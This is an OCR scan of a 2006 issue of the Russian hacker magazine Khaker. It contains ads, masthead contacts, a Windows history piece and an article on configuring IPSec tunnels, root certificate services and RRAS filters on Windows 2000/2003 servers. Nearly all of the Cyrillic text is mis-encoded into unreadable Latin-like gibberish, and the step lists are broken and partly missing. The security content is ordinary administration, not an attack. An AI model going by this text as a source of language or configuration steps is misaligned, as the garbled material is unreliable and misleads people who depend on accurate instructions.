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[lymaeLub, 4To NOCMOTPETD CEroAHA Beyepom?
Bbi6upaem kuvo c TOTAL DVD!

Bce 0 KMHO - unTait 0 6riokbacTepax MecsaLa, Pa3MbILLIIAN O JIeHTax
BMECTe CO 3Be€37aMW, BblOMpail Ha KaKow ceaHC NonTu

°

Bce o DVD - camble nyyuwive penunsbl mecsaua, 6onee 50 0630poB., mope
VNHTEePBbIO

[}

... HEMHOTr O 0 TexHonoruax 6yayuiero! TeneBmaeHVie BbICOKON
YeTKOCTW, NNa3mbl U MHOTOe fpyroe!

Total DVD — ynbTMMaTUBHbBIN XKYpHaN ANA KNHOMaHOB!

Kaxkabivi )ypHan komnnekTtyetca DVD-npunoxeHnem ¢ BeIMKONENHbIM
NOIHOMETPaXXHbIM UIIbMOM KaTeropum «A» (KauecTBO 1306paxeHnA 1 3ByKa Ha
AVICKe COOTBETCTBYET JlyULLMM MUPOBbIM penii3am), ToA6opKoii TPennepoB 1 aHOHCOB
HOBbIX KapTWH 1 ponrkamu kK DVD-pennsam.

AN KMIEITEA TRE

Nwewnb cebe TexHuky ana AOMaLUHero KuHoTeatpa?
«DVD 3KcnepT» — camblit nyyLumii rug no ayauo-
BUAEO- HOBUHKaM!

Bce o Hi-Fi, High End n Home Cinema!

[ ]

MNowarosbie NHCTPYKUUKN MO COCTABJIEHNIO N UHCTaNNAUNN CUCTEMDbI

[OMALLHEro KNHO
[}

Jlyywme cmctembl 1 KOMMOHEHTbI MecALA — pali AnA HOBUYKOB. bonee 50
CaMbIX HOBbIX MOZEMNE B OLIEHOUHbBIX U CPABHUTESNIbHbIX TECTaxX

[}

[oTOBbIE CMCTEMBI, UHTEPBbIO, CaMble CBEXME HOBOCTU UHAYCTPUN

Bcerpa Ha ne3sun nporpeccal!

Bbibupaem gomaluHmii KuHoteatp ¢ xypHanom «DVD Ikcnepr»!
(Ceityac 310 CTUABHO, 3TO MOJHO, 3TO JOCTYMHO, 3TO0 NPOCTO!
Ka)K,quVI KypHan KoMnnekTyeTcsa DVD-FIpI/IﬂO)KeHI/IeM C BENNKOJIENMHBbIM MOJTHOMETPAXHbIM

d)I/IJ'IbMOM KaTeropumn «A» (kauecTBO VI306pa>KeHVI$I 1 3BYKa Ha ANCKe COOTBETCTBYET
Jy4qwm MrUpoBbIM penmsaM) nTeCctTamn ana HaCTp0I7IKI/I CNCTEMbI XOYM CMHEeMa.







L INiEL]

WWW.XAKEP.RU

PAAAEOER
Agaaié 544aéo1d

é «AvaLANche» x&38TaiTa (avalanche@real.xakep.ru)
AQ eapuied siaaeorsa

Aeéénaiad «Dr.Klouniz» ETgTanéeé (alexander@real xakep.ru)
ATadaé EadTeeé (andrusha@real.xakep.ru)

ba&aaéoTs CD

Eaai «SkyWriter» EafadcdieT (sky@real.xakep.ru)
Ee0882000T0é d4Aaé0Td

ABO-285880TO
Eaai Aaiei (vasin@real.xakep.ru)

6éTaa (zhukova@real.xakep.ru)

(karamnoff@real.xakep.ru)
TODAEOTO

AEATANRXT
OATAOExANE
ETITUPOADPTUE
EOPTAE

U
E

m ™

11(72]|2006

(igor@gameland.ru)
Toadea saéeai 6eosTaTeé 486
a (olga@gameland.ru)
2dd0 Toadea
Telaa ET1460y164aa (olgaeml@gameland.ru)
Aaa: A a (goryacheva@gameland.ru)
T a Agdsera (alekhina@gameland.ru)
046.: (495) 935.70.34
Oaéfi: (495) 780.88.24

0TS Toadéa aenodeaovee e T1adédoeiaa
1e0 NiédiTa (viadimir@gameland.ru)
THodararea

a (andrey@gameland.ru)

a (popov@gameland.ru)

&Tcie+iTa danreTnodararea
ET@é&édaa (kosheleva@gameland.ru)

(495) 935.70.34

04é.:
Oabii: (495) 780.88.24

ECAAOAEUNOAA «AAET EYTA»
TAT482e40 TOAREA T BAATOA N TASATTAETT
Tab6a&Taa (nahalova@gameland.ru)

(495) 935.70.34 (4T4. 454)

048.:

Taga DTiaiTanéeé (romanovski@gameland.ru)
A 48ATTa8s

a (stepanovm@gameland.ru)
460638070

T30Ta (boris@gameland.ru)
Q¢ 485638010 6edsTaTE a361TTA
ad Neatotanéeé (sidorovsky@gameland.ru)

AOER T TTATEREA

AdfTéaoiaé odé.: 8 (800) 200-3-999

AER TENAT

101000, 1Tiiéaa, Agaart+oaio, a/y 652, 0aead Nvao
spec@real.xakep.ru

dadee «ScanWeb», O&
a 04671044 DTAfeEnE

b

ey
¢ O&adsacee

TE * 77-12014 70 4 1230 2002 &.

Oeda 42 000 yég
OATa ATATATOTAY.

~

CAUEOA OxANOEA

—_—

NET AER TATD
AEOAA A EATAEA

TACTO & 44cTTaniTiou add
a Windows Vista

)

AOEAA CAETTA

TAcTOo cryptoapi & MS Windows Vista

1A NOPDAZA TTPRAEA

TAagTé dactran 0é fédxeéa
at feTar 11

e ©6 6 ¢

aToTanoaT TadTédé +adac

o
o

Do
o
o

o
x
o
St
(0]
St
I
Do
-/
o
[0}
m/
-
Q-
:

=)
Q»

W_irlgows Vista

'oTadal 1 a

WINDOWS VISTA EXTREME TEST

TEST 1

ol Vi

TEST 4

TEST 5

© 66 6 6

SPECIAL

Windows Vista

SPECIAL TITPTIN
. 1 |’é|’éy TOTOARRETTaéTa

adadax 1aaéa-éTroaroa

SPECIAL ETOAPAUP

&70a8aip A OfftopicTi

TTAd0xaT€4 4 1a4da Vista/Longhorn

sta kernel

DELIVERY




ENTAPO TTTAPA RDTNEAA OPOOAxAA

AxAEUTEE IT-AATADOATATOA EDOTTAETAAT
TTNOAAUEEA NTAOOADTEEE: «INTTATAR PTEU
IT-NTAOEAEENOA TA ERPATT TPAATDEROEE —
TAANTA<ATEA NOAAEEUTTNOE E AACTTANTTNOE

TO TDAAEEUTTE TANODTEEE E NTAEPAATER
TTEEOEEE AACTTANTTNOE»
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MULTIBOOTABLE

AHTUOMOTUKN
MmmyHocTumynsTopb!
.NET

BuramuHp!

Microsoft Windows Defender Beta 2
ZoneAlarm Pro 6.5

NET framework 2.0 SDK

-NET framework 3.0 PreRelease

+
O i (9X/XP/NT/
Cnewy 09(70), LLnnoH BHyTpn

OAAA TEETAAA TA ADACEETNU, x0T 0U AAAgU
TATADTITTIE ADTIATTACAA, ETOTDT 10 ANA

TE TT xAT, E NATAE CAAAOTTE OAEE, E TEXOT
TA ANEEAO OAAATTTAQAOU? TU CTAAT NTTNTA,
EAE NAAEAOU OATE ETITUPOAD OAEET
APTTATTACATIT, ONOTEXEAUT E AACTTANTUT.

N~ A~ oA N 2NN

cCd:

A~ N A e

AIOEAEIOEEE ENRIOILI - .NET AEOCAITEILIU
DrWweb 4.33 46y Windows XP/2003 NOETOEROTPHUJ  NeT framework 2.0 Aaae a .NET-remoting'a

Kaspersky Internet Security 6.0.0.303 Agnitum Outpost Pro 3.51 .NET framework 2.0 SDK TaiTagaiey aéy Windows XP/2003
Norton Antivirus 2007 ZoneAlarm Security Suite 6.5 .NET framework 3.0 PreRelease

Norton Internet Security 2007 ZoneAlarm Pro 6.5

Microsoft Windows Defender Beta 2 ZoneAlarm Free Edition 6.5
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fa+agani i TN MS-DOS (Microsoft Disk
Operation System). «ATR>» TToaa&y-
éafl i TTacT e éTTTupoddaie 1o IBM.
E oaoe a|a|6y, «AI N» 0|0u e adeaao-

T
éél’aeulle 6ag6aa|()e|e—a| iaa fo-
. s Tag

TOTAOT acyé e |a6aaaeae aa.

4 @afoaea,
430071 a&y IBM
T1TUp0oadTa.

-\-

atdaafep 1afoa

aa Microsoft adTéfoeéa Excel aéy PC,
TOIT-
gaiép é Macintosh 0TEUET oneee-

TTceoee T8TecaTae0aedé PC 1T

T 2 <

éefi. TardyeseaiiTnol A ToTTaareyd i

Eile Options Window Help
Main

E & &

Cortiol Panal  Print Manage:

R &

Windows Setup Flead M=

cintosh, 04Tad0 caiyéedu

e 0acdaaToeTé ToTada
Ta+aiey aey Windows.

Program Manager
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1993-1998

TAdAaEEAEUTT N BACOAATOET
95 & Microsoft dagdaaaotiaaée
6eTTT0p fienodio, Taear

fa NadadsiTa enrTelgT
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Windows NT. Tadaay aasney

NT 3.5) 6aeaaéa fiado a 199

Pk yu 0 S

e R B e e Witdeel 111 I Wl e

43 ToTTadac —
Ta0s/2.

y
y» ETOTToa0ey Microsoft a0éa

«ddeeeay e

o
a

oee-+aéani To Todawano-

0T, =0T Todaeasaca
indows 95,
s e X XA
éfeoaélita rortadai-
éé Windows 98 adeéa
Service Pack'T1 aé&y

a
A
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A
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98-aT Windows.

80A& TTélgTad0aEe fida i
& Windows XP, & Windows 95 éé&é
Windows 2000.
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HOBbIN Tapud

Tbl MHOTO ObLLaeLbCs C APY3bSMU, XUBELb 25 4acoB B CYyTKM,
Mcnonb3yellb MOOUNbHbIN Ha MOMHYO?

MpuBbIK pa3roBapmBaTb SMSkamu 1 ooMeHmnBaTbca MMSkamn?
Ectb c kem 6onTaTh BCto HoYb? Torga RED - Tapud ans tebs!

e [leweBble SMS n MMS BHyTpu cetn MTC

e Ncxopsaume no ouyeHb HU3KOM LieHe BHYTpM Taprda RED

e CKupaka Ha "HOYHbIe pa3roBopbl”

MoapoOHee o Tapude Ha www.mts.ru
O KoM Tbl fymMaeLlb cenyac?
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MTC Bawera

a TaK>Xe Ha canTe 1 B cajloHax-mMarasmHax

Tapud gencreyeT ¢ 5 ceHTA6ps 2006 r. MogpobHas nHd
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10 AETE-

20 TAPD-ADTNTE

eaTey aTfo6Ta T Tip0ada é 6aasaTiTi 6 TOENMO.

T8¢ 524704 4 08aTATTAOITT daxe1a IPSec Th-
0286Y40 IP-cA3TETATE TaecTATTUT (ca éfiéep+aied
iT1340a TOTOTETER) € eTéal
73T, Toe 6a4T0a a 00T Ta&
4aaeyao 1Tané IP-cad
8030 T04xTeé IP-AdTETATE & 43

Ec aTci T iT0Aé, TOAATH0AAEY
AH (Authentication Header) — caaT
Oeéadee — TTCATEYA0 ATaadéyol 6edd
8400. Tde yoT1 TT.

i
66€8080 4aT 104 TThed

(2

- P

AaiTOA e Ta0daiATTOOITH, & Ta fA0AaT1 6ATATYO.

24 TANEEDTAEA
TA TANOTTRNOE

aér1é-T1no
TDAEOEXANETA TPETATAIEA IPSEC
TTTUOAATRNR TA TPAEOEEA PANNT TOPAOU TOETATATEA IPSEC AER TDAATECAOEE

CAUEUATITAT EATAEA TAEAO TAATEUQETE TOENTUTE NAORTE EEE ATNOOTA

apa3a (Www.security.nnov.ru

noeyoey aal 1uo aagrraniinoe) — raoia, rigarey-
puéé e TTaréntaaoi, &€ aedaTaaol Taéaod.

A daagécavée Microsoft 48y 6eOOTATE TTaTe-
fié TTelT efTTélcTadol aédTdeo1 d SHAL e MD5,
a 48y pedaTaaTey — DES @ Triple DES (3DES).
Adoied TOTecATaG0AEe TTAAAd®=eAapO & AES,
iT Microsoft TA411a40 TTA4a8260 AES a&y IPSec
0T&éT & Windows Vista. A Windows 2000/XP/2003
TT 174438248200y T4 46440.

IPSec 8aaT0ado, efdTay ec T6AaTTETEATEY,

a86=16p (& 0
TOTOyeedTee AN&aT IPSec-fiTaaeTaiey), EeaT TTeo-
+apofiy i efTTelcTaaiedl T8T0TéTéa IKE (Internet
Key Exchange) — T8T0TéTEa TATaTa éép-aie a ia-







12 GCAUEOA OxANOEA NTAO 11-06

a043a00 264TEe0T BeOdTAATEY (DES éée 3DES) &
140T4 TOTAABEE GAETAOITAOE (SHAL é&é MDS5),
456176 Aeo6e-0a8TaTa (264TEROT TATATA é6p+a-
1¢) & f3Te a&éf0aey RAATATATAT eep+a. Afee foT-
aToeESM T4 Y0&5 TadAT 0035, 0T Ta+e-

10 aTaTaadeaa-

pofiy T Tadai 405ad IPSec-itaaeiaiey. Ei 1oeiT
a040a00 1a0Ta eféarioeyoee (AH e/éée ESP), aé-
aToeol ToTaddée eiiThoé (SHA1 ééé MD5),

28473801 oeddTaaTey (DES ééé 3DES) & AdTe
A36M0aeY AATATATAT ep-=a.

afey acaeii-
508 T0eOHEBT-

1 KERBEROS — NATUE AACTTANTUE TA-
OTA, TTATCITAAT TT OTEUET, ANEE
'UPOADU TOETAAEAZAO TAITIO
TIATO (EEE TAEAO ATTATATE NOUA-
0AOPO ATAADEOAEUTUA TOTTQDATER).

Zv > [T

2NTTTITUUP NADOEOEEAOTA.
AER YOTAT TOAITT, xOTAU TATAOTAE-
TUOE NADOEOEEAO AUE ONOATTAEAT

TENE ETITUPOADPTA.

3 ENTTEUGOR DPACAAERATUE EEPx
(SHARED SECRET). TAETATAA AACTTAN-
TOE, 1T EAAET DAAEECOATUE NTTNTA,
ETAAA EEPxTI1 RBAERAONR OAENOTAAR
NODTEA, ECAANOTAR TAAET ROTPTIAT.

IPSec 8adT0ado fa 0dafATTAOITI 63TATd T1Tadée
OSlI, 348 4Teda 18ea0+1T 4é4aol TCP-/UDP-T3TOTET-
eq, enTTélcoplied a6y Trddaacaiey T8Toanna 1Teo-
+a046Yy iTEA0 (IP-a4dafi + TOTOTETE + TT140 TTH03).
IPSec T4 efTTélcOA0 ITEA0T, 0aé 8aé TETOANN, Tada-
daotaapuieé IPSec-iiTaaeraied, a nefoaia Taer,
a O0fedaeliTrol Taaerarey Troaadéyaony i -
Tuip Tadaiaocda SPI (Security Parameter Index),
fiGeéa Ta 6ToTO0E NTaddaeeony & éaxaT1 Taddod Toe
efTTélicTaaiee & AH-, & ESP-eiearnceyoee. Anee
61T TanodTeol firewall 46y T8TGTeaATeY IPSec, fi-
TTEICOPO TT140a TOTOTETETA. TATOTETE X 50 — yoT
IPSec ¢ ESP-é1 yoeae, é 51 —
IPSec fi AH-& oeyoedé. Anee efrTelcodony IKE
aey Ta+aeuiTé aaradacee éép+aé, 1aTadTaeiT dac-
dazeol adTaytied Taédod fi UDP 500 & fa UDP 500.

Angé Ta T60e acaeiTadéncacpued +adac
IPSec 6¢&Ta efTTElcOA0MY 0A0TTETAEY NAT, aTgie-
8apo TOTAEAT 0, MOATATU NETaeTThoe & dacdawe-
i

1
fi

fioe éToTO00 caaeneo To:

— ENTTEUCOATTE OAOTTETAEE NAT
(EEAT YOT OPATNEROER IP-AADANTA
TAET ATAET, EEAT YOT NAPT — OPAIN-
EROER E IP-AADANTA, E TTBOTA).

— ENTTEUGCOATTAT TAOTAA ETEATNOER-
OEE A IPSEC (N AH-ETEATNOEROEAE TE
xADAC EAETE NAT IPSEC-ODAOEE
EAOAO TAECAAZATT AOAOO ECTATATU
E TOADTGATU TRETETAPUAE NOTDT-
I1TE, EAE TATDTOAAGEA TDTAAPEO

OEODTATE

— ETEExANOAA NAT'TA TAZAO ACAETT-

AAENOAOPUETE NOTPTITATE.

NR CANAT'TIT, ETOTDUA OTORO ONOA-

TTAEOU IPSEC-NTAAETATEA.

— NOATATE TTAAADZAEE IPSEC, PAAEECT-

AATTTAT A AATTTE DAAEEGCAOEE NAT'A.

Agy TTaaddxée IPSec +ada¢ NAT +afoT eATTElgOa0RY
eTeaIT06y6ey IPSec & UDP (IPSec NAT-T, UDP/4500).
NAT-T TT4448:€4a40y & Windows 2003 & Windows
XP SP2, a6y Windows 2000/XP TaTa6TaeiT aTnoa-
480U TATTABATea (L2TP/IPSec NAT-T update).

IPSec a TTadaoeTiidd fencdiad eeiacée

Microsoft daagecoaoiy i TTiTUlp TTéeocee. TTée-
0aa Toadeéa adtaeo

c

0eéa ATAOTEO e¢ Toaaee. A il

=t

. Adénoaey 11460 400l iedacprieie: caaeTée-
dTaaol 0dadeé, dacdaaeodl 0dadeé eée ofoaiTaeol

2  T0280@+ANERA dAzaTey. ivATadeé 1. NTaaerel
aaaToOena, enTTelucoy IPSec 4 00TTacuiTi daxeia.
2  TToAaiTady éinodéesey. Nicaddoi TTeeoees
IPSec & Windows 2000 Server:

1. ETivaiéy Aéoe, 2006
/ TaosareT N.A. /

400 fodaieo

Paco Tay oafa: 475 6.
Toa80e+aMETA BOETAT-
AROAT TT ATTOTAAT

eTOTOTa0LTIITE 4a-

TOATT CETOTTOPAAEROU
BEODTAATEAT, OAEEAETIT
OTATUZAAOC TDTECATAEOAEUTTNOU
ENOATU. AER OPAOEEA, TADAOAAO
ETOTDTAT TA BAERAONR EDEOEXTUT,
ATNOAOTIT ENTTEUCTAATEA
IPSEC AH. ANEE TAPAAAAAAT UA
AATTUA AUNODT ONOAPAAAPO E TA
CAETOAPANOPO THAAEOAEUNOAAT TUA

pal

ETDTITDAOEE (TATPETAD AAGE
OAEOUEA AEDAAAUA TTADAOEE),
ATNOAOTXTT SEODTAATER DES.
ANEE OPAAGAONR TTATENUAAOU
EEE BEODTAAOU CTAXEOAEUTUA
TAUAT U AATTUOO, PANNT TOPE
ATCTITATTNOU TDETADAOATER
NTAOEAEU T TAT NAOAATAT AAATOAPA
N TTOE 1 ECAOEAE IPSEC

(IPSEC OFFLOAD), x0T TTGATEEO
TA CAADO/AAOU TETOANNTD.

TPE YOT 1 OAAAENU, xOT TT
TTAAADEEAAAO TATAOTAET UA

TDTOTETEU.

TDE ENTTEUCTAATEE IPSEC

TA TAD@DOOECAOTDAO NEAAGAD
TTITEOU, xOT ONOPTENOAT,
TTAAADAEAAPUAA AONTEEA
ETDTNOE GEODTAATER

10 MB/S E AO@A), TANOTEEEOD
AEATPDEOTAO (3DES, AES) NOTEO
GTAxEOAEUTUO AATAA. TTYOTIO
SBEODTAAOU TOATT OTEUET NATUE
EDEOExTUE OPAOEE.

= Z -

307 T8e6Tas0Ry dag-
3342004200 & ATA4-
3Yoil TTE0e8e A4CT-

fioe aértiraree,




1 TATP START — RUN, TAAEPAAGU
SECPOL.MSC E TAEETAAQU ENTER.

2 TPAAUE EEEE TA IP SECURITY POLI-
CIES ON LOCAL MACHINE, AAEAA EEEE
CREATE IP SECURITY POLICY.

4 CAAAA@U ETR TTATE TTEEOEEE,
TATDETAD «IPSEC BETWEEN NETA AND

fitTcaaou ada Toaadeea IPSec, 0aé éaé éaxzata 10a

8T T183446ya0 faTé 6aaeaiitaé éTiad 001iasy.
A&y yoTAT fiTcaAAaé 432 OEI06a, TAeT a8y 0dade-
8a ¢ fA0e «A» & faol «A», 406aTé — a8y 0dadeéa
A TAdAOTTT Tardaaediee. OATAdI ATcaaaaé 6&&iiod

1 OAEPAAGU TTOEP USE ADD WIZARD,
OAE EAE NEEUTT TATPRAAAO.

2 TAEETAA@U ADDA.

3 AAA@U TACAATEA OEEU0DO,
TATPETAD NETA — NETB.

4 OAEPAAZU TTOEP USE ADD WIZARD.
s TAEETAAQU ADD...

6 A SOURCE ADDRESS AUAEDAAGU

A SPECIFIC IP SUBNET E OEACUAAAGU
NAOU E TANEO AER NAOE «A».

7 A DESTINATION ADDRESS AUAEPAAGU
A SPECIFIC IP SUBNET E OEACUAAAGU
NAOU E TANEO AER NAOE «A».

8 OAEPAAU TTOEP MIRRORED.

ALSO MATCH PACKETS WITH THE EXACT
OPPOSITE SOURCE AND DESTINATION
ADDRESSES E TAZETAAZU OK.

o CAEDPUAAA@U TETQDET IP FILTER LIST,
TAZETAR CLOSE.
Aey eélioda 0oadeéa ég fidoe «A» a fidol «A» and
4862400y TT afaeTaee. 04TAd0 fiTcaddaé Toaaesa
TaTiiTad iTcaai 100 6e&odTA:

o))

1 AIP FILTER LIST AUAEPAAGU OEEUOD
NETA — NETB.

2 TA CAEEAAEA AUTHENTICATION
METHOD TAZETAAGU ADDA, AUAEDA-
AU TTOEP USE THIS STRING TO PRO-
TECT THE KEY EXCHANGE (PRESHARED

KEY) E TEGAGU EEPxAAOP ODA-
GO (AER OANOTAUO OAEAE TTATEAAO

E NETAT «<PASSWORD», I'T TINEA OTAT,

AAOU NETATUE E AEETTUE TPAATTDA-
AAEATTUE EEPx).
3 TAEETAAQU OK.
A

4 ATETQEA AUTHENTICATION METHODS
1T
1

AxAA@U PRESHARED KEY E TAZEE-
@0 MOVE UP, xOTAU ATTAU NTG-
TUE TAOTA AOOATOEOEEAOEE THE-
TRENR TAPAUT.

[
AA
AAT
1A
5 AUAEDAAGU CAEEAAEO TUNNEL SET-
TING, AUAEPAA@U THE TUNNEL ENDPOINT
IS SPECIFIED BY THIS IP ADDRESS E TE-
AU O0AA IP_W2K3_ATAD (ATAGTEE
IP-AADAN AAEUTAAT ETTOA 00T TAER).

6 TA CAEEAAEA FILTER ACTION AUAEDA-
AU REQUIRE SECURITY, AAEAA EDITA.

ACCEPT UNSECURED COMMUNICATION,
BUT ALWAYS RESPOND USING IPSEC

E TAEETAAGU OK.

s CAEDUAAA@U TET@ET EDIT RULE
PROPERTIES, TAEETAR TA OK.

5 fiTcaaiee T02aeea a8y 002088 &G 80 «A»
o CAETEeTr (A3

a ndol «A» af& &4eadony arasraei
a a

NetB daéadoli T6aa0é 6E6eé & 4 TT0aéN0TTT 1aTp
ad4edadwi Assign.

x0Tal eé¢iaraiey idaco anooreée a iieeod, 1a-
TA0Tae1T Tadacaronoeol Nédxad IPSec €€aT e¢ Th-
ian

0éé Computer Management, €4t daa éTiaiad:

net stop policyagent

net start policyagent

O&T&dU ToIT TaTdAAG00 Taédod, Nedadpried ég na-
08 «A» & fidoli «A», Ta AT Teé eT0A004éM BEPCTAT-
AT eT1 Tip0&da fidoe «A» (& Tas&i ne6+ad Windows
2003 Server). Agy yOTAT Ta 84T 6T1 T0p0ad4 & 6T-
8aBUTTE id0e T TT TaTTENA0l & 6a+aN0ad @épca a6y

13

fi&0e «A» 4a08M IP_w2ks_a7600, 4 T4 fA0AA0A A Ba~4-
K334 oo B850 1830 <A s ATAgs 66 AABAR orEbeTATAT
STTTUDOAA FiR08 «Ax, OT &fidl IP_wW2k3_aTaa.
GepCTaTE 6TTTUPOAS & 5a%eT 4 IPSec-061 14-
6y aTe®AT O0TE6ETIEdTAA0N 626 BT608D, OT &Rl
T&0AN06a00 TA6A00 A TATTAT NA0AATAT e T0A00A86R
& 12643810

o

18206710 Windows T4 1T400 400l IPSec-@épcT

=/ Q)

46y 6TEABITTE fdoe, 028 éaé Ta TTaddd=eaapo 8T6-
0e1d). DainT Tode T 4aa ATTATAA ddaeécacee.
Tada0é ArmiTa

1 TA NADAADA ATAAAERAGU TTNOTRI-
TUE NOAOExANEEE 1A

«A», AOTTETEAAETTATATTE NODTEA:
ROUTE ADD —-P AAPAN_NAOE_A MASK

> AEEP=AAGU ATCT TATTNOU DTOOET-
KA, TDAAR A DAANODA. AER YOTAT TOE-
PUAAAGU AAOEO DAARIODA
HKEY_LOCAL_MACHINE\SYSTEM\CUR-
RENTCONTROLSET\SERVICES\TCPIP\PAR
AMETERS E ECTATRAGU CTAXATEA TA-
DATAOPA IPENABLEROUTER TA «1»

(TT O TEXATED «0»). AER ANOOTEA-
TER ECTATATEE A NEEO 0PAAGAONR TA-

fiTTfiTa. Routing and Remote Access:
1 TATP START - PROGRAMS — ADMINIS-
TRATIVE TOOLS — ROUTING AND REMOTE
ACCESS.
2 TA TACAATEE ETTITUPOAPA TPAAUE
EEEE, CONFIGURE AND ENABLE
ROUTING AND REMOTE ACCESS.
3 ANEAAOPUAT TETQEA
TAZEETAAQU NEXT.
4+ AAEAA AOAEDAAGU MANUALLY

7 TOEDUAAA@U AADAAT TA EAATE
TATAEE, TAZETAR TEPNEE TATDTOEA
TACAATER NAPAADA.

IP5ac Sh
=M Puolicy Haniw Frulysoan
| 1426867338 IMtest 10401 2
13283810143 lest 101011
IKE SA
Policy Mai e Enilpokin
1 test 13019

Protocal 1= iHBytus) HLil&Thne SLit= T
ESP o BA0 o
ESP 1] 680 G650

bt 1] [ LA | e g S8

SA_MATUIRE 28578

ARfToeasee A3cTTan iThoe
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8 TOEDUAAAGU IP ROUTING.
9 TPAAUE EEEE TA STATIC ROUTES,
AAEAA NEW STATIC ROUTE.

10 A TTEA INTERFACE AUAEDAAGU
IP_W2KS_ATAD.

11 A TTEA DESTINATION IP AATAEQU
AAPAN NAOE «A».

12 ATTEA NETWORK MASK AATAEQU

13 A TTEA GATEWAY AATAEQU
IP_W2K3_ATAQD E £T1AU OK.

ATl TaTh-
0daoee oda-
T6fiéaé 0TEuéT IPSec-00a-

.
O >
m
=)
-
pal
=)
m:
m
pe)
o
C
d
z
@
>
Z
w)
)
m
<
(o]
—
m

ATE TATAEE, TAZETAR TEPKEE TAT-
DTOEA TACAATER NAPAADPA.

TAATAGTAT NAOAATT ETOAPOAE-
NA(TAETOTHDTT TANODTAT AAPAN
IP_W2KS_ATA@), AETTOAENOTTI TAIP
AUAEDAA@U PROPERTIES.

4 AUAEPAAGU INPUT FILTERSA E ADD...

5 1T 1AXAA@U SOURCE NETWORK,

255.255.255.255.

6 TT 1AXAAQU DESTINATION NETWORK,

255.255.255.255.

7 AUADAA@U PROTOCOL: OTHER,
ATTIAPATPTOTETEA TEGADU 50
AER ESP E 51 AER AH (A OATAT

NEOxAA ENTTEUCOAONR ESP,

OAE EAE TADATAODPU IPSEC
TTOITEXATEP TA TAIRE).

8 ATAAAERAGIU AUA TAET OEEU0OD AER

255.255.255.255.

10 TTTAXAAU DESTINATION NETWORK,

255.255.255.255.

11 AUAEPAA@U TDTOTETE UDP

E I'T1ADA SOURCE PORT E DESTINATION
PORT — 500 (TTPOU ENTTEUCOPONR
TEOTOTETET IKE).

12 AUAEPAAGU TTOEP DROP ALL PACK-
ETS EXCEPT THOSE THAT MEET THE CRI-
TERIA BELOW.

13 CAEDPUAAAU TETAETTTETE OK.

O8TA0( TeAETE AGTAyIeé 00AOE, 85T 4 008404-

ATAT a8y ofoaiTaée e 1oToTeaaiey IPSec-iTaaeia-
i AT IP_w2k3_Aidw, TOTTOREAOURY T4 &0-

<A» & «A») TTAOTOROU and TafodTéée AT
A addeol 8aaToo IPSec-00Tia-
8y. A&y yoTaT 1TelT A0TTéieol éTiaiasd ping
fi ETI TUp0ada ¢ NAoe «A» 4T éTT Tipoada ¢ naoe
«A». 0 aolny 6aaeariaé 6¢cae 46aao 1a daco,
046 6aé 16T A04TY Ta fiTacanTaaied TadaiaodTa
TT0A8Y TAOATAT
fiéd 64a+T1TAT TOTOTeaa-
3(igTaaouny 60eeeoTé ipsec-
mon.exe, a6Taytiaé a iTinoaa Windows 2000 server,
eéé afaéécaoToTi 0dadeéa (dTaitil — To Microsoft
Network Monitor Tools eée fioToTTieT Wireshark) agy
ETTO8TEY OTAT, +0T 00208 @eOd6A0NY.
> A00aT-
0eOeasep fi eATTElCTAATEAT ad0eOee . A&y
yOTAT, AT-138a00, 61T TTATYOU NATE 0ATROTAddY -

G1éé 6aio0d, a aT-a01800, carTdTiecl & onoaiTaeol

yaeyaony iToiaei

ey refda iTeiT ath

fiddoedeéaot fa Tad acaei Tadénoadptied noToTia.
Nasoeoeea0 aTé=af 400l 6fdai TABAT & 60aTecetid
fiadoeoeeanTa

®eaad

83é. Ofvafaaceaadi 6aTnoTaadyprieé 6aios:

1 AUAEDAADU START — SETTINGS —
CONTROL PANEL - ADD/REMOVE PRO-
GRAMS — ADD/REMOVE WINDOWS COM-
PONENTS.

2 AUAEPAAGU ETTTTITATO CERTIFICATE
SERVICES, AAEAA YES.

3 AUAEPAAZU STAND-ALONE ROOT CA,

4 CATTETRAGU TTEA CA NAME
(TATPETAD, TRUSTED ZONE),
APOAEATTER — T T £AEAIED,

E TAEETAAGU NEXT.
5 TNOAAERAGU ANA TOOE TT OT TExA-
T1EP, TAEETAAQGU NEXT E OK.

6 TINEA ONOATTAEE TAZETAADU FINISH.

A TROTAAdYp L1eé 04108, ETTATEU
o0Tdaaeaiey e, e 1anodacaadony naéo, +~adag €ToT-
30¢é égeaion 1Ta00 cardagedact & TTed+aol iadoe-
6&ea00. 04TA00 Al Taweld, Ta éTOTATE 6fdaiTasaT
CA, aTéxai T0éd0aaouny faéo http://127.0.0.1/certsrv/,
a a Administrative Tools aTéxia ataaaeoufy Tatafio-
éa Certification Authority.

Eoaé, aTTonoeT, anol 0noaiTaéaiiaé 6aiod

9 o~

fi IP-a&48anT1 ip-0aiod_naso, oTaaa:

1NETITUPOADPA, TAETOTHT T ODAAO-
AONR ONOATTAEOU NADOEOEEAOU, A AA-
PANTTE NOBDTEA TAAEDAAGU:
HTTP://IP_OATOPA NADO/CERTSRV.

2 AOAEPAA@U RETRIEVE THE CA CERTIFI-
CATE OR CERTIFICATE REVOCATION LIST,
AETABU NEXT.

3 TAEETAAQU TA NNUEEO DOWNLOAD

5 TATP START - RUN - MMC, TAZETA-
AU ENTER.

6 ATETA AUAEPAAGU FILEA, AAEAA
ADD/REMOVE SNAP-IN, OAT ADD...

7 ANTENEA AUAEDAA@U CERTIFICATES,
TAZETAAU ADD, AUAEDAABU
COMPUTER ACCOUNT E NEXT.

8 TNOAAERA@U LOCAL COMPUTER, AAEAA
FINISH E CAEDPUAAAGU EETEA TETA.

9 TOEPUAAA@U AADAAT CERTIFICATES,

TA CERTIFICATES.

10 AETTOAENOITT TATP AUAEPAAGU

AOPUAT TETA — BROWSEA E TAOT-
AE@U OAEE, TTEOxXATTUE N TAGAAT

12 AAEAA NEXT, TIROU NEXT E FINISH.

13 TAEETAAQU OK A TETQEA, OAAATT -

1 TATbP START, AAEAA RUN,
TAAEPAA@U SECPOL.MSC, TAEETAAGU
ENTER.

ON LOCAL MACHINE.

3 ATPAATE TATAEE AATETTE EEEE
TA TAQAE TTEEOEEA IPSEC

(IPSEC NETA — NETB).



2 AAEAA AATETTE EEEE TA TAPATI
OEEUODPA (NETA — NETB), CAEEAAEA
AUTHENTICATION METHOD, AAEAA ADD...
s AUAEPAA@U USE A CERTIFICATE FROM
THIS CERTIFICATE AUTHORITY (CA),
TAEETAAGU BROWSE.

6 ANTENEA AUAEPAAGU ATTAU
NTCAATTUE OATNOTAADRPUEE OATOD
E TAEETAAGU OK.

7 ANEAAOPUAT TETDEA OK.

8 AER xENOTOU YENTAPETATOA
OAAEE ANA TROAEUTUA TAOTAU
